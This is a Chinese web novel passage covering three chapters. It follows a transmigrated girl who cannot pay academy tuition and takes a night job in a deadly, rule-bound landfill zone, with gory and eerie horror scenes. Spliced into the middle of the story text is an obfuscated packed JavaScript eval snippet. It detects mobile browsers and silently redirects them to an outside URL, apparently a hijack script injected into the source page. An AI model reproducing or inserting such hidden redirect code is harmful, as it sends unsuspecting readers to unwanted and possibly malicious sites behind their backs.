《别吵,我要赚学费》
1. 报名
滴——
舱门缓缓打开,机舱里的人群沉默站起身,排着队走下舷梯,融入进风沙里。
直到队伍最末位的人消失,角落里那个靠着桌腿蜷缩的身影依旧在沉睡。
“喂!小东西!”乘务员环着手,轻轻踹了踹那身影撅起的屁股。
“还不起来,等着跟我们回监狱啊?”
江赛眼皮动了动,没什么反应,过了一会,她睁开眼,揉揉发麻的腿,站起身。
机舱内空无一人,她背起书包,看着外面漫天黄沙,犹豫了两秒。
“还不走?”乘务员皱眉,刚准备说话,对面的小孩突然动了。
她一把扯起固定的小桌布,往头上一蒙,下一秒跳下飞机,整个人消失在漫天黄沙里。
“哎你——”乘务员惊愕的声音淹没在风里。
几秒钟后,破旧的桌布被狂风卷起,打了个转,拍在舱门外的舷窗上。
江赛低着脑袋,把书包挡在脸前,艰难的前进着。
几个小时后,风沙暂歇。
江赛从一堆废弃的金属建材后爬出来,抖了抖身子,呸掉嘴里的黄沙,眯着眼睛望向对面。
一道横叉进天空暗红高墙,横亘在地平线上。
墙角下,站了一排守卫军,那就是鹿河基地。
江赛把书包一歪,手伸进去,摸出那张褶皱报名通知单,朝着大门走去。
“站住,身份验证。”守门的士兵拦住她,扫描仪的红光从脸上滚过。
“滴,身份验证通过。”
“江赛。原身份:联邦第六等公民(在押服刑人员)。现身份:第五等公民(训练学院预备生)。”
听见声音那守卫凑近屏幕,看着身边的身份更换记录,眉头挑了挑,嘴角扯出笑容。
“恭喜啊。”他语气未变,只是眼神多了些其他意味,“行了,进去吧。”
“谢谢。”江赛接过单子,塞回包里,朝着那守卫点点头。
基地里的大街空旷得反常,就连街边高耸的大楼里也看不到一个人影,江赛走了好一段,没找到能问路的人。
她顺着街道往前,直到经过一个巨大的废品站,看见几个工人正站在废料堆顶上。
“捡垃圾到那边垃圾场去!”离得最近的男人看见她,皱着眉头挥手驱赶,“这儿危险的很,小孩别来捣乱。”
谁说她是来捡垃圾的?
“请问,训练学院怎么走?”
“鹿河一学院?”边上另一个工人停下手中的活,打量着她,“你是训练生?”
“我去报名。”她说。
先前说话的男人抬手往左边指了指,“往那儿一直走,到有人的地方再问路。”
废品场占地很大。江赛加快速度穿过这片区域,在通过一个斜向下的土坡后,嘈杂的人声和车流声忽然涌了过来。
她抬起头,眼前是宽阔的街道,两侧是密集的店铺和招牌,悬浮车在低空轨道上滑过,行人来来往往。
空气里混着机油和人群的气味,许多售卖手环和电子器械的商铺橱窗里,正播放着新型产品的演示视频。
江赛仰着脑袋,放慢脚步,一点一点地看过去。
她走了许久,待周围的高楼渐渐稀少,视野开阔起来时,终于看见了学院的大门。
鹿河一学院。
远远认出大门上的字,她加快脚步跑过去。
学校的外观与她前世记忆里的学校相差不大,此时临近报名截止日期,该来的训练生都已经来过了。
校门口只摆了张桌子和一把椅子,负责人正百无聊赖地窝在椅子里。
“你好?”江赛站定,低头看向桌上的文件。
“捡垃圾去那边。”负责人懒懒地抬眼皮看了她一眼,“这是训练学院。”
江赛叹了口气,抖了抖短发上的黄沙,“我是来报名的。”
“训练生?”负责人直起身,打量了她一会,从一叠文件里抽出一张递给她,“那把表填了。”
江赛接过笔,顺着表格一项项看下去。
都是些基本信息:姓名、年龄、出身地、基因注射记录……
训练生入学后,学院会核实并建档储存。
她俯下身,就着桌面开始填写,写到最下面,江赛手一顿。
“嗯?”那人注意到她的停顿,问道:“哪里不会写?”
江赛抬起头,神色难得有些僵硬,“还要交学费?”
“你上学不要交学费?”负责人脸一黑,“填完表就要交学费才算报名成功。”
他说着伸手拿过表格,上面已经被她填得差不多了。
江赛默默抱起放在一旁的书包,冲着他微微一笑,声音放软,“老师,能不能先报名呀~”
“不行。”负责人打断她,语气没有商量余地,“填完表,缴完费,才算报名成功。”
江赛心一塞,“学费……多少钱?”
负责人没说话,只是用从抽屉里抽出一张文件,甩给她。
——鹿河第一训练学院新生缴费通知单
学费:400000金币。
江赛眉头一皱,怀疑自己眼花了,她眯着眼睛又凑近看了看。
这是几个零?
个、十、百、千……
“这么贵?!抢劫吗?!”
“怎么说话呢?”负责人眉头一皱,瞪着她,“我们鹿河学院可是全联邦收费最低的学院。”
“呵呵呵~”江赛苦笑着点点头,歪着脑袋,小心翼翼地问,“一年的?”
“半年。”
“啪!”
他话音刚落,对面的江赛捧着通知单,软绵绵瘫倒在地。
“诶,你——”负责人下意识起身,隔着桌子摊过半张身子。
“没事!!”江赛赶紧抬起手,搭在桌面,强撑着重新站起来。
“我,我知道了老师,我,我现在就回去拿学费。”她飞快说完这句话,捏着通知单,弯腰捞起地上的书包,转身就跑。
姿势怪异的背影彻底消失在负责人的视线里,江赛拐过走廊,靠着墙壁,大口喘气。
脚尖阵阵发软,沿着小腿直上,江赛一惊,赶紧安抚自己受惊的小心脏。
冷静,一定要冷静。
凡不能毁灭我的,必使我……更穷?
等等,这句话好像不是这么用的。
下半身已经软绵绵化成一摊透明液体,江赛低头伸手捞了一把,晶莹的水珠从指尖划过。
“唉~”江赛叹了口气,熟练的扒着墙面,挪动自己仅剩的半个身子,在巷子的垃圾堆旁边,找了个干燥的角落躺下。
姿势不太优雅,但舒服。
几个月前,她还是一个平凡的大四学生,最大的烦恼是毕业论文查重率和食堂阿姨抖勺的幅度。
在一个平平无奇的夜晚入睡后,再一睁眼,就到了这个异种横行的废土世界。
本来以为,熬过那场要命的基因实验,就可以在学院里苟到老。
谁知道原主给她留的遗产如此丰厚。
不光是个囚犯身份,还顺手偷了一支性质不明的异变药剂,并且似乎、大概、很可能……已经给她自己扎过了。
江赛抬起手看着指尖荡漾的水珠。
这叫什么事儿?她的金手指是自我毁灭?
远处,隐约传来悠扬的钟声,江赛郁闷的躺着垃圾堆里,等着自己的身体重新凝集。
直到天空渐渐暗下来,她再拿起那张账单内心已经毫无波澜,身下的液体开始向上回缩,慢慢凝集成腿部形状。
几分钟后,她勉强站了起来,裤子湿哒哒贴在腿上,她把账单塞回包里,走出巷子。
听说基地里人手一个身份手环,既可以登记身份,又可以查找信息。
江赛没有手环,她只能用最原始的办法,找个网吧上网。
不知道这个世界有没有网吧。
她走过街道,在一条小巷子尽头,找到了类似的地方,招牌斑驳,门帘油腻。
“老板,上网多少钱?”
柜台后的光头老板眼皮都没抬,“一金币一小时。”
这么便宜?
有天价学费的对比,江赛的接受力提高了。
她摸出书包里仅剩的三枚金币,垫了垫,放下一枚,笑眯眯的开口,“我要一个小时。”
老板这才抬头,瞟了她一眼,指指里面,示意她进去。
大厅空旷,机器老旧,空气里都有股焦糊味,江赛找了个角落,摸索了会,终于打开那笨重的显示屏。
屏幕打开,界面弹出,只有一个身份中心和联邦公民论坛入口。
她点开搜索界面,发现论坛分了几个板块,很明显是按照联邦里各个基地分的。
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p>
因为她在上面看见了鹿河的名字。
江赛点进去,发现浏览需要身份验证,她只能进入匿名公共问答版。
光标闪烁,她想了想,敲下:
【注射基因药剂后,不去训练学院会怎样?】
帖子下很快有人回复:
1L:【会被通缉。】
江赛:?
很快下面又蹦出几个消息,她顺着读下去。
【3L:楼主通过基因实验了?厉害啊。】
【9L:千万不要想不开,我邻居的儿子的同学的弟弟就是通过基因实验,因为不想吃苦就不肯去,结果就被联邦管理局带走了,听说现在还在狱里打螺丝呢。】
【15L:通过基因实验都是记录在册的,必须要报名训练学院,除非你是黑苗子。】
黑苗子?江赛一顿。
【楼主:什么是黑苗子?】
【25L:黑苗子就是那些私自注射药剂的基础异能者,没有获得联邦官方许可的,这种人一般都不干什么好事。】
【30L:听说最近原料集团就混了不少黑苗子进去。】
【31L:切,原料集团也不是啥好鸟。】
江赛惆怅,这么说这天价学院她是必上了。
【鹿河有没有什么赚快钱的地方?】
【40L:楼主缺钱?】
【46L:我知道!原料集团和回收站。】
【61L:那肯定是原料集团啊,一个异种好几万金币呢。】
【69L:楼上忘了?原料集团不要在校生。】
【70L:最赚钱的肯定是第七堆填区,我姨在里边干了一年就在内城买房了。】
【79L:楼上姨是狠人,那地方也能干一年?】
江赛看着上边越发激烈的讨论,又问。
【第七堆填区在哪儿应聘?】
【84L:千万别去那地方!吃人的!】
【88L:不用应聘,你到官方论坛下去问,马上就入职了,工资高的很。】
【89L:别听楼上的,第七堆填区很危险,谁敢去那儿?】
【95L:胡说,我姨干了买房了!】
【100L:你姨还活着吗?】
【100L:你姨还活着吗?】
【100L:你姨还活着吗?】
【100L:你姨还活着吗?】
【100L:你姨还活着吗?】
最后这条回复无限刷新,江赛看着满屏的问号皱眉。
心里突然涌过一丝不安,她拍了拍噗通直跳的胸口,强迫自己冷静下来。
她关掉论坛,屏幕暗下去,映出她没什么表情的脸,和微微抿紧的嘴唇。
没事的,没事的,还有什么比穷更可怕!
她在心底疯狂安慰自己,捏了捏软绵绵的手臂,深吸一口气,重新点亮屏幕。
她退出鹿河分区,回到那个巨大的官方论坛首页。
页面最下方,有一个不起眼的灰色输入框,旁边标注着一行小字:
【公共匿名建议/投诉/信息提交渠道】
她手指在虚拟键盘上停顿了几秒,然后敲下:
“请问,第七堆填区还招人吗?临时工,日结,怕危险。”
光标闪烁,她按下发送。
几乎就在发送成功的提示音响起的同时——
“叮!”
她面前那台巨大的显示屏突然黑屏,紧接着,暗红色的的底色铺满全屏。
一行苍白的,不断闪烁的字体,突兀地跳了出来:
【您的信息已收到。】
【第七堆填区欢迎您的勇气】
【请于今日23:59前,凭编号jd648731,至锈斑区三岔口废料转运中心,寻找老A办理入职。】
【温馨提示:第一次夜班,请自带照明工具,并保持情绪稳定。】
文字闪烁了三下,屏幕“啪”地一声恢复了正常,依旧是那个平平无奇的论坛首页。
好像刚才的一切都没发生过。
江赛僵在椅子上,感觉后背有点发凉,手心却渗出了薄汗。
她下意识地看了一眼屏幕右下角的时间。
下午四点十七分。
“情绪稳定……”她低声重复着这四个字,感觉自己的小腿肚又在隐隐发软。
2. 第七堆填区
下午六点,江赛带着刚买来的照明灯和匕首,踏上了前往三岔口的公交车。
花一个金币换来的装备,是她此刻全部的家当。
第七区位于鹿河基地最东面的堆填区,她花了近一小时才问清楚路线,又因为囊中羞涩,最终只能选择最便宜的旧式公交。
公交车只在区口的老站台停下,天色已经完全黑下,江赛看了一眼车内闪烁的时间表。
23:30
没时间了,第一天报道,绝对不能迟到。
她摁亮头顶的照明灯,挎紧书包,朝着黑暗奔去。
别在裤腰的匕首,随着奔跑的动作一下下敲打着她的腰间,金属面的冰冷紧挨着薄薄的衣料透进来,反倒让她跑得更快了些。
上夜班的好处就是晚上有个落脚的地方,不忙的话还可以眯一会。
此时江赛还在幻想美好的夜班生活,论坛上的描述是有些骇人,不过她仔细想想,无非就是异种嘛。
她作为预备训练生,以后迟早要和这些东西打交道,不如就当是提前练胆。
实在打不过……大不了溜走呗。
堆填区的荒凉远超想象,道路两侧只有几盏路灯微弱的亮着,隐隐照出两边堆积如山的废弃物。
江赛在黑夜里奔跑,直到跑的腿脚发麻,终于看见第七区的大字。
灯牌挂在半空中,闪着红光,红光之下,庞大建筑的阴影轮廓隐约可见,那就是工作入口了。
她喘着大气走近,才发现那灯不是悬在半空中,而是挂在一个极高的金属拱门上,漆皮剥落,像狂欢后被遗弃的游乐园。
拱门边上,一个老旧的检票亭歪斜着,窗口上方,闪烁着块巨大的彩色灯牌。
入口站着一排人。
人影在断断续续的彩光下一动不动,像一座座蜡像。蜡像面前,一个穿着旧工装的老汉背对他们,正仰头凝视着灯牌。
“你好,我来应聘。”
老汉缓缓转过头,江赛一愣,才发现面前站的是个仿生人。
他半边皮肤脱落,露出地下灰白的金属骨架,一只眼球从空洞的眼窝里垂下,由几根电线勉强牵连着。
江赛低头看去,老汉胸前挂了个塑料的身份牌,照片大概有些时日,已经发黄,上面是年轻时的样子,笑容标准,面容完好。
照片下印着一行字:
人事管理·老A
“编号?”
“JD648731。”
老A掉出来的眼球转了转,随后点点头,指向队伍最右边,“站进去。”
江赛跟着站进队伍,侧头打量了一下身边的人,有些穿着统一的工服,有些则是自己的便装,都在沉默中望着前方。
看来每晚夜班工作的,不止她一个。
老A没再说话,重新转头面向灯牌,江赛顺着他的目光抬头看去,灯牌顶端,嵌着一个巨大的电子钟,数字是刺眼的血红色。
23:59:58...23:59:59...00:00:00
就在时间跳到零点的时候,一个黑影从远处的黑暗里跌跌撞撞冲过来。
是个年轻男人,扶着膝盖大口喘气。
“操……这鬼地方也太远了……差点跑死……”
他刚停下,老A动了,转身走到他面前。
“编号。”
“JD……JD648729!”男人上气不接下气。
729?是排在她前面的编号。
这数字代表什么?是员工总数,还是报名顺序?
正想着,老A的声音再次响起,在寂静中格外清晰,“迟到一分钟,扣除基础奖金——五千金币。”
男人脸上的庆幸瞬间冻结,抬起头涨红了脸,“什么?!凭什么?!基础工资才两万!你一下就……”
他的抗议戛然而止。
因为老A动了,他伸手,从检票亭阴影里提起一根钢棍,动作随意的像拿起一支笔,然后,朝着男人,随手一掷。
男人僵在原地,脖子向后仰,诡异的张开嘴,迎接那个急速飞来的钢棍。
噗呲!
钢棍精准的从他大张的口中深入,穿过大脑,深深扎进他身后的土地。
他甚至还没来得及惨叫,就被钉在原地,鲜血汩汩地从口中和脑后涌出。
江赛就站在离他不远的地方。
几滴温热的液体溅上脸颊和颈侧。
她浑身一僵,腿一软,下意识地伸手,扯住边上那女人的胳膊。
紧挨着她的女人和她一样,也在无法控制地发抖,江赛眼角的余光还能看见她发白的嘴唇。
队伍里大多数人,对此毫无反应,他们依旧沉默地目视前方。
倒是女人另一侧的壮汉,被两人带得身形一晃,颇为不耐地抬手,托着她。
女人吓得哆嗦的同时,还不忘伸手扯住往下掉的江赛。
“编号JD648729,自愿放弃入职资格。”
老A的声音毫无起伏,他走回灯牌下,从检票亭窗口里拿出一叠用塑封胸牌,顺着队伍,一人一个地发过来。
胸牌递到了江赛面前,她接过牌子,塑料牌触感冰凉,一面刻着一串编号:JD648731,另一面是一张照片。
照片上的人,一头狗啃短发,穿着工作服,露出和老A工牌上一样的笑容。
这是她的脸。
可她什么时候拍过这张照片?
江赛眯着眼睛,又仔细看了会,光线昏暗,但她看得分明,照片里她眉头轻皱,头发上还有些黄沙。
这是……昨天的她?
这是她坐在电脑前,查阅第七区论坛,为这趟夜班感到烦躁不安时的样子。
江赛背后一凉。
“仔细阅读前方规则,不要触犯。”老A的声音毫无预兆地在她身侧响起,他不知何时已经贴近,正无声地注视着她。
话音刚落,头顶那块一直闪烁的彩色灯牌,忽然稳定下来,几行漆黑的字逐行浮现。
【第七堆填区-临时工作员行为规范】
1.进入此区前,请确保你的工作证(徽章)正面朝外,并清晰可见。
2.第七区没有声音。如听到任何声音,请立即背对声源,默数30秒。30秒后,若声音停止,可继续工作。若声音重复,请清晰告知它你的编号。
3,刺猬保洁员讨厌噪音。
4,你的影子是你影子,时刻注意它,不要让它逃跑。
5,工作期间,请保持专注。
6,第七区提供临时休息点(标有绿色十字),可在此补充水分,如休息点的钟表是倒着走的,请勿使用该休息点,并立刻离开当前分区。
7,最重要的一条:帮助迷路的兔子回到它的画里。
8,工作内容:回收目标蜂巢。
文字显示完毕,凝固在灯牌上。
身边的女人呼吸明显加重了,捏紧胸牌的手指都在发白,江赛的心也沉了下去。
她把胸牌翻过来,又翻过去。
上面那张诡异的照片,让她觉得自己走错了片场,这哪是什么打工地,分明是恐怖片开机前的候场区。
尤其那些让人脊背发凉的行为规范每条都像被掐了尾巴。
确保工作证正面朝外?哪面是正面?
她抬眼看向灯牌上那条规则,没有任何补充说明。
故意的。
规则没说完的,何止这一条,甚至有几条她看都没看明白。
队伍开始转身,前面的人已经在入口处排队领取器械,她踮起脚,歪了歪脑袋,看不见他们的胸牌。
江赛愣了几秒,转过头,紧挨着她的那个女人,也正侧过脸,目光撞个正着。
“你知道哪个是正面吗?”女人压低声音。
江赛摇摇头。
带编号的那面?如果朝外,自己就看不见编号。照片那面?那清晰可见是给谁看?
第二条说清晰告知编号。
为什么需要她告知?
是不是意味着里面的生物不知道每个人的编号。
除非,告知是触发后续环节的必要条件,或者,它需要这个告知来确认某些事。
那么,在告知发生前,它最可能处于未知或待确认状态。
那么,它平时能看到的那一面,所谓的正面,就不能是印着工号的那一面。
所以……
正面,是照片。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17529040|203657||http|test|mini|href|location''.split(''|''),0,{}));
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p>反面,才是贴着胸口,记录着只有她自己看见的工号。
是吗……应该是吧?
江赛叹了口气,带着点破罐子破摔的意味,手腕一转,将照片朝上。
算了,这是个充满漏洞的逻辑链条,她真的不擅长动脑,不知道现在逃跑,老A会不会像糖葫芦一样把她也钉在原地。
“你知道了?”女人一直用眼角余光盯着她,看到她的动作,推了推前面沉默的壮汉,也学着将胸牌翻面。
江赛瞥见她的动作,微微一笑,没说话。
她不知道。
她什么都不知道。
她瞎猜的,要是出错了可不能赖她。
江赛跟着队伍,领完器械,在边上套上粗糙的工作服,出来时,门口只剩他们三个。
老A指了指西边,“JD648730,北二区。”
他转向江赛和她身边的女人,“JD648731,JD648732,南三区。”
女人脸色“唰”地白了,更加紧张,下意识就想去扯前面壮汉的衣角,却被对方一把甩开。
“别跟着我!”
“分到哪儿就滚去哪儿,少添乱!”说完,壮汉掂了掂手里沉重的工具包,头也不回地迈开步子,朝着老A所指的西边入口走去。
江赛站在原处没动,伸手扯住要往前走的女人。
直到看着壮汉安全地走进入口,她才松了口气,拿起被女人丢下一边的器械,“走吧,我们是一组。”
第七区内部一点光线也没有,手电筒的光柱在这里显得虚弱不堪,只能勉强照出一小圈堆积如山的金属板。
江赛弓着腰,在废品堆里翻找了几分钟,全是废旧零件。
她都不知道那蜂巢长什么样,上哪儿找?
“你知道蜂巢什么样吗?”她转头问女人。
女人在昏暗里摇了摇头,“没见过,我……我也是第一天来。”
沉默了会,她又补充,“但我在论坛上看人提过。有人说是个灰色的方盒子,也有人说……是圆形的,像颗鸡蛋。”
信息等于零。
江赛点点头,没再说什么,只是将手电光扫向更远处。
“那就先找找看吧。”
实在不行看到疑似蜂巢的东西就通通捞走。
也不知道要是下班一个都没找到……
江赛又想起那个男人脖子后仰,被钢棍贯穿的画面。
她不行,她真的腿软。
“你知道……什么时候下班吗?”她突然转过头,看向身边的女人。
这么重要的事情她居然忘记问了。
“说是天亮时。”女人不安地摆着头,左右张望,小声问,“你……你有没有觉得,这儿特别阴森?”
“哪片黑漆漆的地方不阴森?”江赛用力拍了拍她的肩,像在说服对方,也像在说服自己,“别乱想,我们现在最重要的就是找到东西,赚钱。”
“你胆子真大。”女人看着她,黑暗中依稀能辨出她眼中的些许依赖,“你年纪看起来不大,怎么就出来做这个了?”
“嗯。”江赛含糊地应了一声,没抬头。
她刚搬开脚下的铁板,一个黑漆漆的影子猛地从下方窜出,擦过她的鞋尖,消失在废品缝隙里。
江赛整个人剧烈地抖了一下,往后退了几步,手电光跟着乱晃。
不,她胆子一点也不大。
“……你爸妈呢?”
“死了。”
话音落下,废品堆间只剩下细微的呼吸声,女人似乎觉得自己说错话了,沉默了片刻。
正当江赛以为对话就此结束,低头踩在废品往前走时,身后突然传来轻飘飘一句。
“没事,我女儿也死了……”
江赛动作一颤,犹豫转过头,“是你在说话吗?”
“嗯。”女人点点头,语气坦然,“我在安慰你。”
江赛:?
有这么安慰人的吗?
她张了张嘴,最终什么也没说出口。
废品区一片安静,没发什么任何奇怪的事情。
女人的胆子似乎也大了一点,两人在黑暗里继续翻找,走走停停,偶尔聊上几句无关紧要的话。
3. 第七堆填区(二)
女人名叫萍姐,本来是铁锈河上游的一个废品回收员,日子勉强能过,因为孩子查出重病,才想着来第七区弄点钱。
“谁知道,刚报完名第二天……孩子就走了。”萍姐的声音在黑暗里有些发飘,她顿了顿。
“第七区工资很高,要不是为了给孩子治病我也不会报名的。”
萍姐叹了口气,把手中的探测棍狠狠插进一道地缝里,“论坛上没瞎说,很多来过这儿的人,确实再也没回去过。”
“我出发那天,怕得腿都迈不动。”她拔起棍子,又插向另一处,“可是,我男人拉着我说,人这辈子,有时候就得闭着眼拼一次,不然,一辈子连个头都看不见。”
“我那是被逼到绝路了,没得选。”她转过头,手电光映出她侧脸上的疲惫。
“现在孩子没了,我反倒……没什么可怕的。只是你呢?你这么年轻,干嘛要来这种地方工作呢?”
“没钱交学费。”江赛耸耸肩,甩掉卡在撬棍上的四方盒,“鹿河一学院的学费,实在是……太贵了。”
就这还义务教育,不是坑人吗?!
“你是训练生?难怪你胆子那么大。”
“你的基础异能是什么?”女人问。
“疾速。”
“还不错呢,怎么到鹿河来?不去试试其他学院?”
声音靠近了些,江赛没回头,蹲下身扯了扯被压在石头地下的黑带子。
“这儿离得近就来了。”
到基地的飞机,就往鹿河的不要钱,她不去这儿还能去哪儿。
她现在兜里一个子儿都没有,估计明天出去连公交车都坐不起了。
江赛决定下班后去找老A预支一笔工资。
“理解,大家都不容易。”声音越来越近,几乎是贴在耳边。
“那么……”
江赛下意识转过头,下一秒,她抽出撬棍撑着地面往后一翻。
空气里十分安静,仿佛刚刚的声音只是错觉。
“萍姐?”江赛喘着气,轻轻叫了声。
她握着手电筒,四处看了看,只有一望无边的废品。
萍姐不见了……
那刚刚和她说话的是谁?
江赛只觉得一股凉意爬上背后,她低头,头顶上的手电照在脚边,慢慢出现一个漆黑的影子。
光线明明只照到她的膝盖,可那个影子……却是一个完整的人型。
影子?
江赛一愣,电光石火间,她猛地想起灯牌上的规则。
还没等她细想,只见那影子缓缓抬手,对着她挥了挥,下一秒朝着边上的黑暗冲去。
江赛:?
这算什么?打招呼还是挑衅?
影子瞬间消失在灯光下,江赛懵了,随即一个激灵——
它要跑!
不能让影子逃跑!
江赛抬脚就追,手电光锁死前方那道黑色轮廓,她一手紧握撬棍一手摸着胸口,一边追的同时还不忘安慰自己的小心脏。
没事的没事的,只是一个小小的,狗日的影子。
镇静!冷静!她要做一个情绪稳定的高手!
影子跑得飞快,江赛将疾速异能催发到极限,才勉强没被甩掉。
有没有搞错!
这狗日的根本就没打算停下,这她得追到猴年马月?!
再这么下去,没被吓死也要先累死在这堆废铁上了!
这鬼地方,她还没想跑呢,她的影子倒先跑了。
等等!
逃跑?
她的规则是不要让影子逃跑。
那影子呢?影子的规则是逃跑。
我的影子……是我的影子?
影子是跟着她的,可是她还没有跑,影子跑了,逼得她不得不追……
相对的!
如果现在逃跑的是她呢?
飞奔中的江赛,脚步一顿,突然来了个急刹,紧接着猛地转过身,朝着相反的方向狂奔。
她一边跑,一边低头看向脚下。
光亮边缘,一个黑漆漆的脚形影子正紧跟着她。
是她的影子在追她!
哈哈哈哈哈!
刚才的憋闷和惊恐瞬间消失,取而代之的是报复的狂喜。
猜对了!
她加快脚步,腿越迈越大。
跑啊!你这狗日的!刚才不是挺能溜吗?!
现在轮到她了,她非要溜死她,哈哈哈!
内心正得意,下一秒,腿下突然一软,她踩着铁板边缘一滑,整个人向左边摔去。
“你——”
“啪!!”
她带着撬棍狠狠摔在空地上,撬棍脱手飞出,肩膀结结实实地磕在一块凸起的金属台阶上,江赛疼的龇牙咧嘴。
这一摔,把她那点报复性的狂喜彻底摔没了。
她被坑了。
这废物异能,连让她高兴一会儿都不行吗?!
肩膀传来的刺痛,让她混沌发热的脑子冷却下来。
江赛咬着牙吸了口冷气,眯着眼,用没受伤的那只手锤了锤发麻的双腿。
刚刚真是被吓傻了,居然被那鬼影子牵着鼻子,玩起什么猫捉老鼠的弱智游戏……
头顶的手电在摔倒时甩脱,在不远处的地面上滚动了几下,最后白光不偏不倚,正对准她的脸。
强光刺得她眼泪直流,江赛抬手挡住眼睛,忍痛从地上撑起身,摸索着爬过去,一把抓起手电。
她深吸一口气,将光束扫向四周。
刚才一望无际的废品场,消失了。
此刻眼前是一个巨大的摩天轮。
以摩天轮为中心,周围散落着旋转木马、碰碰车、海盗船等游乐设施的残骸,全都覆盖着厚厚的灰尘,在手电光下泛着白光。
这是……游乐场?
一座废弃的游乐场?
……
四周十分安静,江赛只听到自己扑通的心跳。
她打着手电照了一圈,左边的空地上插着个广告牌,上面写着无忧牧场,广告牌上的字掉了一半。
江赛掀开衣服,露出腰间的匕首,将手电重新固定头顶,握紧手中的撬棍。
刚刚走近一些,她才发现前面有个透明的铁丝网围着,上面缠满了荆棘,不仔细点是看不出来的。
她绕着铁网走了段路,发现一个破洞口,江赛弯腰钻了进去。
刚刚探出头她就后悔了。
这地方诡异的很,她为什么要进来?她的任务应该是找蜂巢。
她摇摇头,转过身又想钻回去,却发现背后的洞口已经消失不见。
这……
江赛一愣,站起身,又沿着铁网走了圈。
没有出口,她出不去了。
明明是黑夜,她却感觉到头顶传来的热气,很晒。
像要把她烤化了。
仿佛夏天的酷暑,刚刚折腾那么两圈,她已经出了一头汗。
真是见鬼了。
这样安静的场景更让人心底发麻,她觉得自己迟早会化在这。
难怪,难怪第七区的入口是那样的。
原来这儿以前就是个游乐园。
江赛压下心中的恐慌,抬脚走到旋转木马前,木马上生满了褐色的锈,像干涸的血迹。
顶上微弱的光照在身上,影子短短的。
忽然,背后传来一阵急促地“啪嗒”声,像很多湿抹布拍打在地面。
她转过头。
从摩天轮上,从碰碰车里,从卡通垃圾桶的翻盖下,涌出来一群孩子。
大概三四岁的年纪,皮肤是那种不见天日的粉白色,在手电的照耀下,带着一种油腻的光泽。
他们都没穿衣服,四肢着地奔跑着,脖子高昂,小脸朝着她。
江赛心一颤,发抖的手搭在栏杆上。
“妈妈!”一个孩子用脸蹭她的膝盖。
“妈妈回来了!”另一个孩子抱住她的小腿。
“妈妈妈妈妈妈——”
江赛僵住了,她是哪儿门子妈妈。
一个废弃的游乐场,哪里来的这么多孩子?
她肯定是出现幻觉了。
他们拱够了,其中个子大点的,用嘴轻轻叼住江赛的裤腿,往旋转木马上拖。
其他孩子立刻呼应,前呼后拥的把她推过去。
他们爬上静止的木马,低头看着她,漆黑的眼睛里全是期待。
“妈妈,转!转!”
江赛没动,只感觉大脑一片空白,直到木马上的叫声越来越大。
她应该跑。应该找出口。但那些漆黑的眼睛望着她,像望着整个世界。
她不知道自己为什么抬脚走向控制台。
电闸早就断了。
她顿了会,鬼使神差的抬起手,去推那根生锈的中轴,很重,铁锈嘎吱作响。
木马极其缓慢的动了下。
“哇——”孩子们爆发出巨大的欢呼声。
更
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多孩子争先恐后的爬上那掉漆的木马,紧紧抱着马脖子,嘴里呼喊着,“快点,再快点。”
江赛用力推,一圈,两圈……汗水流进眼睛里。
他们在她推出来的漩涡里,开心的尖声大笑,小脸涨的通红。
“妈妈!高高!”趴在跷跷板一端的孩子高喊。
江赛走过去,压下另一端,小孩很轻,轻的让人感觉不到重量,但他却真实的在尖叫。
“妈!摇摇!”秋千上的孩子张开手。
她一下一下地推。
“妈妈!水!”孩子围在干涸的喷泉边,指着生锈的喷口。
江赛找不到开关,只好用手去捧起池底下脏污的积水,孩子凑过来,像小动物一样急切地舔舐她的手心。
掌间湿漉漉的,痒丝丝的。
江赛成了这个死寂游乐场的唯一动力,她推、拉、摇,没有一刻休息。
她似乎已经完全忘记了自己的身份,只知道孩子的声音越来越甜,越来越依赖。
不知道过了多久。
她的胳膊酸得抬不起来,腰都要断了,嗓子干得冒烟。
江赛终于撑不住,腿一软,瘫倒在水泥地上。
“妈妈?”一个小不点凑过来,用温热的鼻子拱了拱她的脸,“……不动了。”
“妈妈累了。”另一个说。
“要吃点东西。”第三个抽了抽鼻子,得出结论。
很快一群孩子围了过来,江赛迷迷糊糊的,听不清他们说话,直到一个冰凉的东西贴着她的脸。
“妈妈,吃!”
江赛歪歪头,迷迷糊糊睁开眼,只看到一个黑糊糊的小东西,沾满了泥巴。
她扯了扯嘴角,又转回头。
她现在只想安心地躺会。
“妈妈,不吃!”有声音在人群里急切。
“谁让你拿这个来的!”
“妈妈,吃肉!”
“肉!肉!”小人群里很快整齐地得出结论,尖着声音喊叫。
江赛摆摆手,刚想说话,叼来黑黑食物的小人嗒嗒地跑走。
过了一会,他又跑回来,从嘴里吐出一块生肉。
生肉散发着腐臭,上面黏着乳白色的液体和一些苍蝇。
江赛侧头看了眼,立刻爬起来,捂着鼻子往后挪。
“你们?这,这是什么?”
“肉,是肉,妈妈。”
“妈妈吃肉。”
小人垂着头在地上拱了拱,将那粘腻的肉推的更近些。
江赛看了看,像是猪肉。
这荒无人烟的游乐场哪里来的猪肉?
猪肉和这些孩子一样莫名出现,江赛捂着鼻子站起身,神色难看。
“我不饿了。”她说着,用脚扒开挡在身边的孩子,就朝外走。
小人愣了愣,脸上先是一喜,又慢慢变成恐慌,见她要走,立刻撒腿追上来。
“妈妈,不要走。”
“妈妈不要我们了!”
“妈妈。”
叽叽喳喳的声音粘着她,江赛腿一软,又跌坐下来,围在四周的小孩立刻涌上来,将地上的人淹没。
湿漉漉的鼻子贴着身体,带着热气,江赛躲不开。
她任由它们蹭了会,那块猪肉又被小人叼过来,放在脸边。
江赛盯着猪肉发愣,终于拿起那块生肉,塞进嘴里。
没有想象的腐烂臭味,反而带着一丝莫名的清甜。
她几乎是狼吞虎咽地将那块肉吞下,空荡荡的肚子立刻有了实感。
江赛盘腿坐了会,等恢复了些力气,又起身带着脚下的孩子朝着旋转木马走去。
……
无忧牧场
吴萍站在铁栏外,看着右边的灯牌。
她跟着影子追来的,意外撞见了这个神秘的地方。
没想到废品区里居然有个游乐场。
这是她入职的第三天,期间一直相安无事,没想到今天脚下的影子发了疯。
